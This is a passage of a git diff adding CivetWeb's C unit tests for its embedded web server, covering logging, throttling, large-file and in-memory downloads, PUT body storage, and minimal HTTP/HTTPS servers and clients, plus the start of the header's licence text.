1, f)); + (void)fclose(f); + ck_assert_msg(ok, "Cannot read access log file"); + len = (int)strlen(buf); + ck_assert_int_gt(len, 0); + ok = (NULL != strstr(buf, "not_existing_file.ext")); + ck_assert_msg(ok, "Did not find uri in access log file"); + ok = (NULL != strstr(buf, "404")); + ck_assert_msg(ok, "Did not find HTTP status code in access log file"); + + /* Check error.log */ + memset(buf, 0, sizeof(buf)); + f = fopen("error.log", "r"); + if (f) { + (void)fgets(buf, sizeof(buf) - 1, f); + fclose(f); + } + ck_assert_msg(f == NULL, + "Should not create error log file on 404, but got [%s]", + buf); + + /* Remove log files */ + (void)remove("error.log"); + (void)remove("access.log"); + + /* Start server with bad options */ + ck_assert_str_eq(OPTIONS[0], "listening_ports"); + OPTIONS[1] = "bad port syntax"; + + ctx = test_mg_start(NULL, 0, OPTIONS); + ck_assert_msg( + ctx == NULL, + "Should not be able to start server with bad port configuration"); + + /* Check access.log */ + memset(buf, 0, sizeof(buf)); + f = fopen("access.log", "r"); + if (f) { + (void)fgets(buf, sizeof(buf) - 1, f); + fclose(f); + } + ck_assert_msg( + f == NULL, + "Should not create access log file if start fails, but got [%s]", + buf); + + /* Check error.log */ + memset(buf, 0, sizeof(buf)); + f = fopen("error.log", "r"); + ck_assert_msg(f != NULL, "Cannot open access log file"); + ok = (NULL != fgets(buf, sizeof(buf) - 1, f)); + (void)fclose(f); + ck_assert_msg(ok, "Cannot read access log file"); + len = (int)strlen(buf); + ck_assert_int_gt(len, 0); + ok = (NULL != strstr(buf, "port")); + ck_assert_msg(ok, "Did not find port as error reason in error log file"); + + + /* Remove log files */ + (void)remove("error.log"); + (void)remove("access.log"); + + mark_point(); +} +END_TEST + + +static int +test_throttle_begin_request(struct mg_connection *conn) +{ + const struct mg_request_info *ri; + long unsigned len = 1024 * 10; + const char *block = "0123456789"; + unsigned long i, blocklen; + + ck_assert(conn != NULL); + ri = mg_get_request_info(conn); + ck_assert(ri != NULL); + + ck_assert_str_eq(ri->request_method, "GET"); + ck_assert_str_eq(ri->request_uri, "/throttle"); + ck_assert_str_eq(ri->local_uri, "/throttle"); + ck_assert_str_eq(ri->http_version, "1.0"); + ck_assert_str_eq(ri->query_string, "q"); + ck_assert_str_eq(ri->remote_addr, "127.0.0.1"); + + mg_printf(conn, + "HTTP/1.1 200 OK\r\n" + "Content-Length: %lu\r\n" + "Connection: close\r\n\r\n", + len); + + blocklen = (unsigned long)strlen(block); + + for (i = 0; i < len; i += blocklen) { + mg_write(conn, block, blocklen); + } + + mark_point(); + + return 987; /* Not a valid HTTP response code, + * but it should be written to the log and passed to + * end_request. */ +} + + +static void +test_throttle_end_request(const struct mg_connection *conn, + int reply_status_code) +{ + const struct mg_request_info *ri; + + ck_assert(conn != NULL); + ri = mg_get_request_info(conn); + ck_assert(ri != NULL); + + ck_assert_str_eq(ri->request_method, "GET"); + ck_assert_str_eq(ri->request_uri, "/throttle"); + ck_assert_str_eq(ri->local_uri, "/throttle"); + ck_assert_str_eq(ri->http_version, "1.0"); + ck_assert_str_eq(ri->query_string, "q"); + ck_assert_str_eq(ri->remote_addr, "127.0.0.1"); + + ck_assert_int_eq(reply_status_code, 987); +} + + +START_TEST(test_throttle) +{ + /* Server var */ + struct mg_context *ctx; + struct mg_callbacks callbacks; + const char *OPTIONS[32]; + int opt_cnt = 0; + + /* Client var */ + struct mg_connection *client; + char client_err_buf[256]; + char client_data_buf[256]; + const struct mg_request_info *client_ri; + + /* timing test */ + int r, data_read; + time_t t0, t1; + double dt; + + mark_point(); + + +/* Set options and start server */ +#if !defined(NO_FILES) + OPTIONS[opt_cnt++] = "document_root"; + OPTIONS[opt_cnt++] = "."; +#endif + OPTIONS[opt_cnt++] = "listening_ports"; + OPTIONS[opt_cnt++] = "8080"; + OPTIONS[opt_cnt++] = "throttle"; + OPTIONS[opt_cnt++] = "*=1k"; + OPTIONS[opt_cnt] = NULL; + + memset(&callbacks, 0, sizeof(callbacks)); + callbacks.begin_request = test_throttle_begin_request; + callbacks.end_request = test_throttle_end_request; + + ctx = test_mg_start(&callbacks, 0, OPTIONS); + ck_assert(ctx != NULL); + + /* connect client */ + memset(client_err_buf, 0, sizeof(client_err_buf)); + memset(client_data_buf, 0, sizeof(client_data_buf)); + + strcpy(client_err_buf, "reset-content"); + client = mg_download("127.0.0.1", + 8080, + 0, + client_err_buf, + sizeof(client_err_buf), + "GET /throttle?q HTTP/1.0\r\n\r\n"); + + ck_assert(ctx != NULL); + ck_assert_str_eq(client_err_buf, ""); + + client_ri = mg_get_request_info(client); + + ck_assert(client_ri != NULL); + ck_assert_str_eq(client_ri->local_uri, "200"); + + ck_assert_int_eq(client_ri->content_length, 1024 * 10); + + data_read = 0; + t0 = time(NULL); + while (data_read < client_ri->content_length) { + r = mg_read(client, client_data_buf, sizeof(client_data_buf)); + ck_assert_int_ge(r, 0); + data_read += r; + } + t1 = time(NULL); + dt = difftime(t1, t0) * 1000.0; /* Elapsed time in ms - in most systems + * only with second resolution */ + + /* Time estimation: Data size is 10 kB, with 1 kB/s speed limit. + * The first block (1st kB) is transferred immediately, the second + * block (2nd kB) one second later, the third block (3rd kB) two + * seconds later, .. the last block (10th kB) nine seconds later. + * The resolution of time measurement using the "time" C library + * function is 1 second, so we should add +/- one second tolerance. + * Thus, download of 10 kB with 1 kB/s should not be faster than + * 8 seconds. */ + + /* Check if there are at least 8 seconds */ + ck_assert_int_ge((int)dt, 8 * 1000); + + /* Nothing left to read */ + r = mg_read(client, client_data_buf, sizeof(client_data_buf)); + ck_assert_int_eq(r, 0); + + /* Close the client connection */ + mg_close_connection(client); + + /* Stop the server */ + test_mg_stop(ctx); + + mark_point(); +} +END_TEST + + +START_TEST(test_init_library) +{ + unsigned f_avail, f_ret; + + mark_point(); + + f_avail = mg_check_feature(0xFF); + f_ret = mg_init_library(f_avail); + ck_assert_uint_eq(f_ret, f_avail); +} +END_TEST + + +#define LARGE_FILE_SIZE (1024 * 1024 * 10) + +static int +test_large_file_begin_request(struct mg_connection *conn) +{ + const struct mg_request_info *ri; + long unsigned len = LARGE_FILE_SIZE; + const char *block = "0123456789"; + uint64_t i; + size_t blocklen; + + ck_assert(conn != NULL); + ri = mg_get_request_info(conn); + ck_assert(ri != NULL); + + ck_assert_str_eq(ri->request_method, "GET"); + ck_assert_str_eq(ri->http_version, "1.1"); + ck_assert_str_eq(ri->remote_addr, "127.0.0.1"); + ck_assert_ptr_eq(ri->query_string, NULL); + ck_assert_ptr_ne(ri->local_uri, NULL); + + mg_printf(conn, + "HTTP/1.1 200 OK\r\n" + "Content-Length: %lu\r\n" + "Connection: close\r\n\r\n", + len); + + blocklen = strlen(block); + + for (i = 0; i < len; i += blocklen) { + mg_write(conn, block, blocklen); + } + + mark_point(); + + return 200; +} + + +START_TEST(test_large_file) +{ + /* Server var */ + struct mg_context *ctx; + struct mg_callbacks callbacks; + const char *OPTIONS[32]; + int opt_cnt = 0; +#if !defined(NO_SSL) + const char *ssl_cert = locate_ssl_cert(); +#endif + char errmsg[256] = {0}; + + /* Client var */ + struct mg_connection *client; + char client_err_buf[256]; + char client_data_buf[256]; + const struct mg_request_info *client_ri; + int64_t data_read; + int r; + int retry, retry_ok_cnt, retry_fail_cnt; + + mark_point(); + +/* Set options and start server */ +#if !defined(NO_FILES) + OPTIONS[opt_cnt++] = "document_root"; + OPTIONS[opt_cnt++] = "."; +#endif +#if defined(NO_SSL) + OPTIONS[opt_cnt++] = "listening_ports"; + OPTIONS[opt_cnt++] = "8080"; +#else + OPTIONS[opt_cnt++] = "listening_ports"; + OPTIONS[opt_cnt++] = "8443s"; + OPTIONS[opt_cnt++] = "ssl_certificate"; + OPTIONS[opt_cnt++] = ssl_cert; +#ifdef __MACH__ + /* The Apple builds on Travis CI seem to have problems with TLS1.x + * Allow SSLv3 and TLS */ + OPTIONS[opt_cnt++] = "ssl_protocol_version"; + OPTIONS[opt_cnt++] = "2"; +#else + /* The Linux builds on Travis CI work fine with TLS1.2 */ + OPTIONS[opt_cnt++] = "ssl_protocol_version"; + OPTIONS[opt_cnt++] = "4"; +#endif + ck_assert(ssl_cert != NULL); +#endif + OPTIONS[opt_cnt] = NULL; + + + memset(&callbacks, 0, sizeof(callbacks)); + callbacks.begin_request = test_large_file_begin_request; + callbacks.log_message = log_msg_func; + + ctx = test_mg_start(&callbacks, (void *)errmsg, OPTIONS); + ck_assert_str_eq(errmsg, ""); + ck_assert(ctx != NULL); + + /* Try downloading several times */ + retry_ok_cnt = 0; + retry_fail_cnt = 0; + for (retry = 0; retry < 3; retry++) { + int fail = 0; + /* connect client */ + memset(client_err_buf, 0, sizeof(client_err_buf)); + memset(client_data_buf, 0, sizeof(client_data_buf)); + + client = + mg_download("127.0.0.1", +#if defined(NO_SSL) + 8080, + 0, +#else + 8443, + 1, +#endif + client_err_buf, + sizeof(client_err_buf), + "GET /large.file HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n"); + + ck_assert(client != NULL); + ck_assert_str_eq(client_err_buf, ""); + + client_ri = mg_get_request_info(client); + + ck_assert(client_ri != NULL); + ck_assert_str_eq(client_ri->local_uri, "200"); + + ck_assert_int_eq(client_ri->content_length, LARGE_FILE_SIZE); + + data_read = 0; + while (data_read < client_ri->content_length) { + r = mg_read(client, client_data_buf, sizeof(client_data_buf)); + if (r < 0) { + fail = 1; + break; + }; + data_read += r; + } + + /* Nothing left to read */ + r = mg_read(client, client_data_buf, sizeof(client_data_buf)); + if (fail) { + ck_assert_int_eq(r, -1); + retry_fail_cnt++; + } else { + ck_assert_int_eq(r, 0); + retry_ok_cnt++; + } + + /* Close the client connection */ + mg_close_connection(client); + } + +#if defined(_WIN32) +// TODO: Check this problem on AppVeyor +// ck_assert_int_le(retry_fail_cnt, 2); +// ck_assert_int_ge(retry_ok_cnt, 1); +#else + ck_assert_int_eq(retry_fail_cnt, 0); + ck_assert_int_eq(retry_ok_cnt, 3); +#endif + + /* Stop the server */ + test_mg_stop(ctx); + + mark_point(); +} +END_TEST + + +static int test_mg_store_body_con_len = 20000; + + +static int +test_mg_store_body_put_delete_handler(struct mg_connection *conn, void *ignored) +{ + char path[4096] = {0}; + const struct mg_request_info *info = mg_get_request_info(conn); + int64_t rc; + + (void)ignored; + + mark_point(); + + sprintf(path, "./%s", info->local_uri); + rc = mg_store_body(conn, path); + + ck_assert_int_eq(test_mg_store_body_con_len, rc); + + if (rc < 0) { + mg_printf(conn, + "HTTP/1.1 500 Internal Server Error\r\n" + "Content-Type:text/plain;charset=UTF-8\r\n" + "Connection:close\r\n\r\n" + "%s (ret: %ld)\n", + path, + (long)rc); + mg_close_connection(conn); + + /* Debug output for tests */ + printf("mg_store_body(%s) failed (ret: %ld)\n", path, (long)rc); + + return 500; + } + + mg_printf(conn, + "HTTP/1.1 200 OK\r\n" + "Content-Type:text/plain;charset=UTF-8\r\n" + "Connection:close\r\n\r\n" + "%s OK (%ld bytes saved)\n", + path, + (long)rc); + mg_close_connection(conn); + + /* Debug output for tests */ + printf("mg_store_body(%s) OK (%ld bytes)\n", path, (long)rc); + + mark_point(); + + return 200; +} + + +static int +test_mg_store_body_begin_request_callback(struct mg_connection *conn) +{ + const struct mg_request_info *info = mg_get_request_info(conn); + + mark_point(); + + /* Debug output for tests */ + printf("test_mg_store_body_begin_request_callback called (%s)\n", + info->request_method); + + if ((strcmp(info->request_method, "PUT") == 0) + || (strcmp(info->request_method, "DELETE") == 0)) { + return test_mg_store_body_put_delete_handler(conn, NULL); + } + + mark_point(); + + return 0; +} + + +START_TEST(test_mg_store_body) +{ + /* Client data */ + char client_err_buf[256]; + char client_data_buf[1024]; + struct mg_connection *client; + const struct mg_request_info *client_ri; + int r; + char check_data[256]; + char *check_ptr; + char errmsg[256] = {0}; + + /* Server context handle */ + struct mg_context *ctx; + struct mg_callbacks callbacks; + const char *options[] = { +#if !defined(NO_FILES) + "document_root", + ".", +#endif +#if !defined(NO_CACHING) + "static_file_max_age", + "0", +#endif + "listening_ports", + "127.0.0.1:8082", + "num_threads", + "1", + NULL + }; + + mark_point(); + + memset(&callbacks, 0, sizeof(callbacks)); + callbacks.begin_request = test_mg_store_body_begin_request_callback; + callbacks.log_message = log_msg_func; + + /* Initialize the library */ + mg_init_library(0); + + /* Start the server */ + ctx = mg_start(&callbacks, (void *)errmsg, options); + ck_assert_str_eq(errmsg, ""); + ck_assert(ctx != NULL); + + /* Run the server for 15 seconds */ + test_sleep(15); + + /* Call a test client */ + client = mg_connect_client( + "127.0.0.1", 8082, 0, client_err_buf, sizeof(client_err_buf)); + + ck_assert_str_eq(client_err_buf, ""); + ck_assert(client != NULL); + + mg_printf(client, + "PUT /%s HTTP/1.0\r\nContent-Length: %i\r\n\r\n", + "test_file_name.txt", + test_mg_store_body_con_len); + + r = 0; + while (r < test_mg_store_body_con_len) { + int l = mg_write(client, "1234567890", 10); + ck_assert_int_eq(l, 10); + r += 10; + } + + r = mg_get_response(client, client_err_buf, sizeof(client_err_buf), 10000); + ck_assert_int_ge(r, 0); + ck_assert_str_eq(client_err_buf, ""); + + client_ri = mg_get_request_info(client); + ck_assert(client_ri != NULL); + + /* Response must be 200 OK */ + ck_assert_ptr_ne(client_ri->request_uri, NULL); + ck_assert_str_eq(client_ri->request_uri, "200"); + + /* Read PUT response */ + r = mg_read(client, client_data_buf, sizeof(client_data_buf) - 1); + ck_assert_int_gt(r, 0); + client_data_buf[r] = 0; + + sprintf(check_data, "(%i bytes saved)", test_mg_store_body_con_len); + check_ptr = strstr(client_data_buf, check_data); + ck_assert_ptr_ne(check_ptr, NULL); + + mg_close_connection(client); + + /* Run the server for 5 seconds */ + test_sleep(5); + + /* Stop the server */ + test_mg_stop(ctx); + + /* Un-initialize the library */ + mg_exit_library(); + + mark_point(); +} +END_TEST + + +#if defined(MG_USE_OPEN_FILE) && !defined(NO_FILES) + +#define FILE_IN_MEM_SIZE (1024 * 100) +static char *file_in_mem_data; + +static const char * +test_file_in_memory_open_file(const struct mg_connection *conn, + const char *file_path, + size_t *file_size) +{ + (void)conn; + + if (strcmp(file_path, "./file_in_mem") == 0) { + /* File is in memory */ + *file_size = FILE_IN_MEM_SIZE; + return file_in_mem_data; + } else { + /* File is not in memory */ + return NULL; + } +} + + +START_TEST(test_file_in_memory) +{ + /* Server var */ + struct mg_context *ctx; + struct mg_callbacks callbacks; + const char *OPTIONS[32]; + int opt_cnt = 0; +#if !defined(NO_SSL) + const char *ssl_cert = locate_ssl_cert(); +#endif + + /* Client var */ + struct mg_connection *client; + char client_err_buf[256]; + char client_data_buf[256]; + const struct mg_request_info *client_ri; + int64_t data_read; + int r, i; + + /* Prepare test data */ + file_in_mem_data = (char *)malloc(FILE_IN_MEM_SIZE); + ck_assert_ptr_ne(file_in_mem_data, NULL); + for (r = 0; r < FILE_IN_MEM_SIZE; r++) { + file_in_mem_data[r] = (char)(r); + } + + /* Set options and start server */ + OPTIONS[opt_cnt++] = "document_root"; + OPTIONS[opt_cnt++] = "."; +#if defined(NO_SSL) + OPTIONS[opt_cnt++] = "listening_ports"; + OPTIONS[opt_cnt++] = "8080"; +#else + OPTIONS[opt_cnt++] = "listening_ports"; + OPTIONS[opt_cnt++] = "8443s"; + OPTIONS[opt_cnt++] = "ssl_certificate"; + OPTIONS[opt_cnt++] = ssl_cert; + ck_assert(ssl_cert != NULL); +#endif + OPTIONS[opt_cnt] = NULL; + + + memset(&callbacks, 0, sizeof(callbacks)); + callbacks.open_file = test_file_in_memory_open_file; + + ctx = test_mg_start(&callbacks, 0, OPTIONS); + ck_assert(ctx != NULL); + + /* connect client */ + memset(client_err_buf, 0, sizeof(client_err_buf)); + memset(client_data_buf, 0, sizeof(client_data_buf)); + + client = + mg_download("127.0.0.1", +#if defined(NO_SSL) + 8080, + 0, +#else + 8443, + 1, +#endif + client_err_buf, + sizeof(client_err_buf), + "GET /file_in_mem HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n"); + + ck_assert(client != NULL); + ck_assert_str_eq(client_err_buf, ""); + + client_ri = mg_get_request_info(client); + + ck_assert(client_ri != NULL); + ck_assert_str_eq(client_ri->local_uri, "200"); + + ck_assert_int_eq(client_ri->content_length, FILE_IN_MEM_SIZE); + + data_read = 0; + while (data_read < client_ri->content_length) { + r = mg_read(client, client_data_buf, sizeof(client_data_buf)); + if (r > 0) { + for (i = 0; i < r; i++) { + ck_assert_int_eq((int)client_data_buf[i], + (int)file_in_mem_data[data_read + i]); + } + data_read += r; + } + } + + /* Nothing left to read */ + r = mg_read(client, client_data_buf, sizeof(client_data_buf)); + ck_assert_int_eq(r, 0); + + /* Close the client connection */ + mg_close_connection(client); + + /* Stop the server */ + test_mg_stop(ctx); + + /* Free test data */ + free(file_in_mem_data); + file_in_mem_data = NULL; +} +END_TEST + +#else /* defined(MG_USE_OPEN_FILE) */ + +START_TEST(test_file_in_memory) +{ + mark_point(); +} +END_TEST + +#endif + + +static void +minimal_http_https_client_impl(const char *server, + uint16_t port, + int use_ssl, + const char *uri) +{ + /* Client var */ + struct mg_connection *client; + char client_err_buf[256]; + char client_data_buf[256]; + const struct mg_request_info *client_ri; + int64_t data_read; + int r; + + mark_point(); + + client = mg_connect_client( + server, port, use_ssl, client_err_buf, sizeof(client_err_buf)); + + ck_assert_str_eq(client_err_buf, ""); + ck_assert(client != NULL); + + mg_printf(client, "GET /%s HTTP/1.0\r\n\r\n", uri); + + r = mg_get_response(client, client_err_buf, sizeof(client_err_buf), 10000); + ck_assert_int_ge(r, 0); + ck_assert_str_eq(client_err_buf, ""); + + client_ri = mg_get_request_info(client); + ck_assert(client_ri != NULL); + + /* e.g.: ck_assert_str_eq(client_ri->request_uri, "200"); */ + ck_assert_ptr_ne(client_ri->request_uri, NULL); + r = (int)strlen(client_ri->request_uri); + ck_assert_int_eq(r, 3); + + data_read = 0; + while (data_read < client_ri->content_length) { + r = mg_read(client, client_data_buf, sizeof(client_data_buf)); + if (r > 0) { + data_read += r; + } + } + + /* Nothing left to read */ + r = mg_read(client, client_data_buf, sizeof(client_data_buf)); + ck_assert_int_eq(r, 0); + + mark_point(); + + mg_close_connection(client); + + mark_point(); +} + + +static void +minimal_http_client_impl(const char *server, uint16_t port, const char *uri) +{ + minimal_http_https_client_impl(server, port, 0, uri); +} + + +#if !defined(NO_SSL) +static void +minimal_https_client_impl(const char *server, uint16_t port, const char *uri) +{ + minimal_http_https_client_impl(server, port, 1, uri); +} +#endif + + +START_TEST(test_minimal_client) +{ + mark_point(); + + /* Initialize the library */ + mg_init_library(0); + + mark_point(); + + /* Call a test client */ + minimal_http_client_impl("192.30.253.113" /* www.github.com */, + 80, + "civetweb/civetweb/"); + + mark_point(); + + /* Un-initialize the library */ + mg_exit_library(); + + mark_point(); +} +END_TEST + + +static int +minimal_test_request_handler(struct mg_connection *conn, void *cbdata) +{ + const char *msg = (const char *)cbdata; + unsigned long len = (unsigned long)strlen(msg); + + mark_point(); + + mg_printf(conn, + "HTTP/1.1 200 OK\r\n" + "Content-Length: %lu\r\n" + "Content-Type: text/plain\r\n" + "Connection: close\r\n\r\n", + len); + + mg_write(conn, msg, len); + + mark_point(); + + return 200; +} + + +START_TEST(test_minimal_http_server_callback) +{ + /* This test should ensure the minimum server example in + * docs/Embedding.md is still running. */ + + /* Server context handle */ + struct mg_context *ctx; + + mark_point(); + + /* Initialize the library */ + mg_init_library(0); + + /* Start the server */ + ctx = test_mg_start(NULL, 0, NULL); + ck_assert(ctx != NULL); + + /* Add some handler */ + mg_set_request_handler(ctx, + "/hello", + minimal_test_request_handler, + (void *)"Hello world"); + mg_set_request_handler(ctx, + "/8", + minimal_test_request_handler, + (void *)"Number eight"); + + /* Run the server for 15 seconds */ + test_sleep(10); + + /* Call a test client */ + minimal_http_client_impl("127.0.0.1", 8080, "/hello"); + + /* Run the server for 15 seconds */ + test_sleep(5); + + + /* Stop the server */ + test_mg_stop(ctx); + + /* Un-initialize the library */ + mg_exit_library(); + + mark_point(); +} +END_TEST + + +START_TEST(test_minimal_https_server_callback) +{ +#if !defined(NO_SSL) + /* This test should show a HTTPS server with enhanced + * security settings. + * + * Articles: + * https://hynek.me/articles/hardening-your-web-servers-ssl-ciphers/ + * + * Scanners: + * https://securityheaders.io/ + * https://www.htbridge.com/ssl/ + * https://www.htbridge.com/websec/ + * https://www.ssllabs.com/ssltest/ + * https://www.qualys.com/forms/freescan/ + */ + + /* Server context handle */ + struct mg_context *ctx; + + /* Server start parameters for HTTPS */ + const char *OPTIONS[32]; + int opt_idx = 0; + + /* HTTPS port - required */ + OPTIONS[opt_idx++] = "listening_ports"; + OPTIONS[opt_idx++] = "8443s"; + + /* path to certificate file - required */ + OPTIONS[opt_idx++] = "ssl_certificate"; + OPTIONS[opt_idx++] = locate_ssl_cert(); + +#if defined(LOCAL_TEST) || defined(_WIN32) + /* Do not set this on Travis CI, since the build containers + * contain older SSL libraries */ + + /* set minimum SSL version to TLS 1.2 - recommended */ + OPTIONS[opt_idx++] = "ssl_protocol_version"; + OPTIONS[opt_idx++] = "4"; + + /* set some modern ciphers - recommended */ + OPTIONS[opt_idx++] = "ssl_cipher_list"; + OPTIONS[opt_idx++] = "ECDH+AESGCM+AES256:!aNULL:!MD5:!DSS"; +#endif + + /* set "HTTPS only" header - recommended */ + OPTIONS[opt_idx++] = "strict_transport_security_max_age"; + OPTIONS[opt_idx++] = "31622400"; + + /* end of options - required */ + OPTIONS[opt_idx] = NULL; + + mark_point(); + + /* Initialize the library */ + mg_init_library(0); + + + /* Start the server */ + ctx = test_mg_start(NULL, 0, OPTIONS); + ck_assert(ctx != NULL); + + /* Add some handler */ + mg_set_request_handler(ctx, + "/hello", + minimal_test_request_handler, + (void *)"Hello world"); + mg_set_request_handler(ctx, + "/8", + minimal_test_request_handler, + (void *)"Number eight"); + + /* Run the server for 15 seconds */ + test_sleep(10); + + /* Call a test client */ + minimal_https_client_impl("127.0.0.1", 8443, "/hello"); + + /* Run the server for 15 seconds */ + test_sleep(5); + + + /* Stop the server */ + test_mg_stop(ctx); + + /* Un-initialize the library */ + mg_exit_library(); +#endif + mark_point(); +} +END_TEST + + +#if !defined(REPLACE_CHECK_FOR_LOCAL_DEBUGGING) +Suite * +make_public_server_suite(void) +{ + Suite *const suite = suite_create("PublicServer"); + + TCase *const tcase_checktestenv = tcase_create("Check test environment"); + TCase *const tcase_initlib = tcase_create("Init library"); + TCase *const tcase_startthreads = tcase_create("Start threads"); + TCase *const tcase_minimal_svr = tcase_create("Minimal Server"); + TCase *const tcase_minimal_cli = tcase_create("Minimal Client"); + TCase *const tcase_startstophttp = tcase_create("Start Stop HTTP Server"); + TCase *const tcase_startstophttp_ipv6 = + tcase_create("Start Stop HTTP Server IPv6"); + TCase *const tcase_startstophttps = tcase_create("Start Stop HTTPS Server"); + TCase *const tcase_serverandclienttls = tcase_create("TLS Server Client"); + TCase *const tcase_serverrequests = tcase_create("Server Requests"); + TCase *const tcase_storebody = tcase_create("Store Body"); + TCase *const tcase_handle_form = tcase_create("Handle Form"); + TCase *const tcase_http_auth = tcase_create("HTTP Authentication"); + TCase *const tcase_keep_alive = tcase_create("HTTP Keep Alive"); + TCase *const tcase_error_handling = tcase_create("Error handling"); + TCase *const tcase_throttle = tcase_create("Limit speed"); + TCase *const tcase_large_file = tcase_create("Large file"); + TCase *const tcase_file_in_mem = tcase_create("File in memory"); + + + tcase_add_test(tcase_checktestenv, test_the_test_environment); + tcase_set_timeout(tcase_checktestenv, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_checktestenv); + + tcase_add_test(tcase_initlib, test_init_library); + tcase_set_timeout(tcase_initlib, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_initlib); + + tcase_add_test(tcase_startthreads, test_threading); + tcase_set_timeout(tcase_startthreads, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_startthreads); + + tcase_add_test(tcase_minimal_svr, test_minimal_http_server_callback); + tcase_add_test(tcase_minimal_svr, test_minimal_https_server_callback); + tcase_set_timeout(tcase_minimal_svr, civetweb_min_server_test_timeout); + suite_add_tcase(suite, tcase_minimal_svr); + + tcase_add_test(tcase_minimal_cli, test_minimal_client); + tcase_set_timeout(tcase_minimal_cli, civetweb_min_server_test_timeout); + suite_add_tcase(suite, tcase_minimal_cli); + + tcase_add_test(tcase_startstophttp, test_mg_start_stop_http_server); + tcase_set_timeout(tcase_startstophttp, civetweb_min_server_test_timeout); + suite_add_tcase(suite, tcase_startstophttp); + + tcase_add_test(tcase_startstophttp_ipv6, + test_mg_start_stop_http_server_ipv6); + tcase_set_timeout(tcase_startstophttp_ipv6, + civetweb_min_server_test_timeout); + suite_add_tcase(suite, tcase_startstophttp_ipv6); + + tcase_add_test(tcase_startstophttps, test_mg_start_stop_https_server); + tcase_set_timeout(tcase_startstophttps, civetweb_min_server_test_timeout); + suite_add_tcase(suite, tcase_startstophttps); + + tcase_add_test(tcase_serverandclienttls, test_mg_server_and_client_tls); + tcase_set_timeout(tcase_serverandclienttls, + civetweb_min_server_test_timeout); + suite_add_tcase(suite, tcase_serverandclienttls); + + tcase_add_test(tcase_serverrequests, test_request_handlers); + tcase_set_timeout(tcase_serverrequests, civetweb_mid_server_test_timeout); + suite_add_tcase(suite, tcase_serverrequests); + + tcase_add_test(tcase_storebody, test_mg_store_body); + tcase_set_timeout(tcase_storebody, civetweb_mid_server_test_timeout); + suite_add_tcase(suite, tcase_storebody); + + tcase_add_test(tcase_handle_form, test_handle_form); + tcase_set_timeout(tcase_handle_form, civetweb_mid_server_test_timeout); + suite_add_tcase(suite, tcase_handle_form); + + tcase_add_test(tcase_http_auth, test_http_auth); + tcase_set_timeout(tcase_http_auth, civetweb_min_server_test_timeout); + suite_add_tcase(suite, tcase_http_auth); + + tcase_add_test(tcase_keep_alive, test_keep_alive); + tcase_set_timeout(tcase_keep_alive, civetweb_mid_server_test_timeout); + suite_add_tcase(suite, tcase_keep_alive); + + tcase_add_test(tcase_error_handling, test_error_handling); + tcase_add_test(tcase_error_handling, test_error_log_file); + tcase_set_timeout(tcase_error_handling, civetweb_mid_server_test_timeout); + suite_add_tcase(suite, tcase_error_handling); + + tcase_add_test(tcase_throttle, test_throttle); + tcase_set_timeout(tcase_throttle, civetweb_mid_server_test_timeout); + suite_add_tcase(suite, tcase_throttle); + + tcase_add_test(tcase_large_file, test_large_file); + tcase_set_timeout(tcase_large_file, civetweb_mid_server_test_timeout); + suite_add_tcase(suite, tcase_large_file); + + tcase_add_test(tcase_file_in_mem, test_file_in_memory); + tcase_set_timeout(tcase_file_in_mem, civetweb_mid_server_test_timeout); + suite_add_tcase(suite, tcase_file_in_mem); + + return suite; +} +#endif + + +#ifdef REPLACE_CHECK_FOR_LOCAL_DEBUGGING +/* Used to debug test cases without using the check framework */ +/* Build command for Linux: +gcc test/public_server.c src/civetweb.c -I include/ -I test/ -l pthread -l dl -D +LOCAL_TEST -D REPLACE_CHECK_FOR_LOCAL_DEBUGGING -D MAIN_PUBLIC_SERVER=main +*/ + +static int chk_ok = 0; +static int chk_failed = 0; + + +void +MAIN_PUBLIC_SERVER(void) +{ + unsigned f_avail = mg_check_feature(0xFF); + unsigned f_ret = mg_init_library(f_avail); + ck_assert_uint_eq(f_ret, f_avail); + + test_the_test_environment(0); + test_threading(0); + + test_minimal_client(0); + + test_mg_start_stop_http_server(0); + test_mg_start_stop_https_server(0); + test_request_handlers(0); + test_mg_store_body(0); + test_mg_server_and_client_tls(0); + test_handle_form(0); + test_http_auth(0); + test_keep_alive(0); + test_error_handling(0); + test_error_log_file(0); + test_throttle(0); + test_large_file(0); + test_file_in_memory(0); + + mg_exit_library(); + + printf("\nok: %i\nfailed: %i\n\n", chk_ok, chk_failed); +} + +void +_ck_assert_failed(const char *file, int line, const char *expr, ...) +{ + va_list va; + va_start(va, expr); + fprintf(stderr, "Error: %s, line %i\n", file, line); /* breakpoint here ! */ + vfprintf(stderr, expr, va); + fprintf(stderr, "\n\n"); + va_end(va); + chk_failed++; +} + +void +_ck_assert_msg(int cond, const char *file, int line, const char *expr, ...) +{ + va_list va; + + if (cond) { + chk_ok++; + return; + } + + va_start(va, expr); + fprintf(stderr, "Error: %s, line %i\n", file, line); /* breakpoint here ! */ + vfprintf(stderr, expr, va); + fprintf(stderr, "\n\n"); + va_end(va); + chk_failed++; +} + +void +_mark_point(const char *file, int line) +{ + chk_ok++; +} + +void +tcase_fn_start(const char *fname, const char *file, int line) +{ +} +void suite_add_tcase(Suite *s, TCase *tc){}; +void _tcase_add_test(TCase *tc, + TFun tf, + const char *fname, + int _signal, + int allowed_exit_value, + int start, + int end){}; +TCase * +tcase_create(const char *name) +{ + return NULL; +}; +Suite * +suite_create(const char *name) +{ + return NULL; +}; +void tcase_set_timeout(TCase *tc, double timeout){}; + +#endif diff --git a/src/civetweb/test/public_server.h b/src/civetweb/test/public_server.h new file mode 100644 index 000000000..c3e0d8e8d --- /dev/null +++ b/src/civetweb/test/public_server.h @@ -0,0 +1,28 @@ +/* Copyright (c) 2015-2017 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE 